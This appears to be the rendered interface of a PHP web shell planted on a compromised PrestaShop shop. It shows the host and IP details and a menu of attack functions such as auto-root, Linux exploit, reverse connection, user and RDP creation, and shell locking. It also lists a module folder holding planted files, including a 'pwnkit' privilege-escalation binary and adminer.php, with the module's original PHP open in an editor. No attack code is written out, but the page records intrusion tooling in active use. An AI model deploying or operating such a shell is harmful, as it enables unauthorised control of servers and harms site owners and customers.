Linux webm004.cluster102.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
Apache
: 10.102.20.4 | : 216.73.216.43
Cant Read [ /etc/named.conf ]
5.4.45
opusyn1t
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
opusyn1t /
www /
boutique /
modules /
sendtoafriend /
[ HOME SHELL ]
Name
Size
Permission
Action
mails
[ DIR ]
drwx---r-x
translations
[ DIR ]
drwx---r-x
.mad-root
0
B
-rw-r--r--
403.php
0
B
-r--r--r--
CHANGELOG.txt
280
B
-rw----r--
adminer.php
465.43
KB
-rw-r--r--
config.xml
585
B
-rw----r--
index.php
1.26
KB
-rw----r--
logo.gif
633
B
-rw----r--
logo.png
1.33
KB
-rw----r--
product_page.tpl
1.14
KB
-rw----r--
pwnkit
10.99
KB
-rwxr-xr-x
sendtoafriend-extra.tpl
4.18
KB
-rw----r--
sendtoafriend.css
1.16
KB
-rw----r--
sendtoafriend.js
0
B
-rw----r--
sendtoafriend.php
2.68
KB
-rw----r--
sendtoafriend.png
754
B
-rw----r--
sendtoafriend.tpl
2.76
KB
-rw----r--
sendtoafriend_ajax.php
3
KB
-rw----r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : sendtoafriend_ajax.php
<?php /* * 2007-2014 PrestaShop * * NOTICE OF LICENSE * * This source file is subject to the Academic Free License (AFL 3.0) * that is bundled with this package in the file LICENSE.txt. * It is also available through the world-wide-web at this URL: * http://opensource.org/licenses/afl-3.0.php * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to http://www.prestashop.com for more information. * * @author PrestaShop SA <contact@prestashop.com> * @copyright 2007-2014 PrestaShop SA * @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) * International Registered Trademark & Property of PrestaShop SA */ require_once(dirname(__FILE__).'/../../config/config.inc.php'); require_once(dirname(__FILE__).'/../../init.php'); include_once(dirname(__FILE__).'/sendtoafriend.php'); $module = new SendToAFriend(); if (Tools::getValue('action') == 'sendToMyFriend' && Tools::getValue('secure_key') == $module->secure_key) { // Retrocompatibilty with old theme if($friend = Tools::getValue('friend')) { $friend = Tools::jsonDecode($friend, true); foreach ($friend as $key => $value) { if ($value['key'] == 'friend_name') $friendName = $value['value']; elseif ($value['key'] == 'friend_email') $friendMail = $value['value']; elseif ($value['key'] == 'id_product') $id_product = $value['value']; } } else { $friendName = Tools::getValue('name'); $friendMail = Tools::getValue('email'); $id_product = Tools::getValue('id_product'); } if (!$friendName || !$friendMail || !$id_product) die('0'); /* Email generation */ $product = new Product((int)$id_product, false, $module->context->language->id); $productLink = $module->context->link->getProductLink($product); $customer = $module->context->cookie->customer_firstname ? $module->context->cookie->customer_firstname.' '.$module->context->cookie->customer_lastname : $module->l('A friend', 'sendtoafriend_ajax'); $templateVars = array( '{product}' => $product->name, '{product_link}' => $productLink, '{customer}' => $customer, '{name}' => Tools::safeOutput($friendName) ); /* Email sending */ if (!Mail::Send((int)$module->context->cookie->id_lang, 'send_to_a_friend', sprintf(Mail::l('%1$s sent you a link to %2$s', (int)$module->context->cookie->id_lang), $customer, $product->name), $templateVars, $friendMail, null, ($module->context->cookie->email ? $module->context->cookie->email : null), ($module->context->cookie->customer_firstname ? $module->context->cookie->customer_firstname.' '.$module->context->cookie->customer_lastname : null), null, null, dirname(__FILE__).'/mails/')) die('0'); die('1'); } die('0');
Close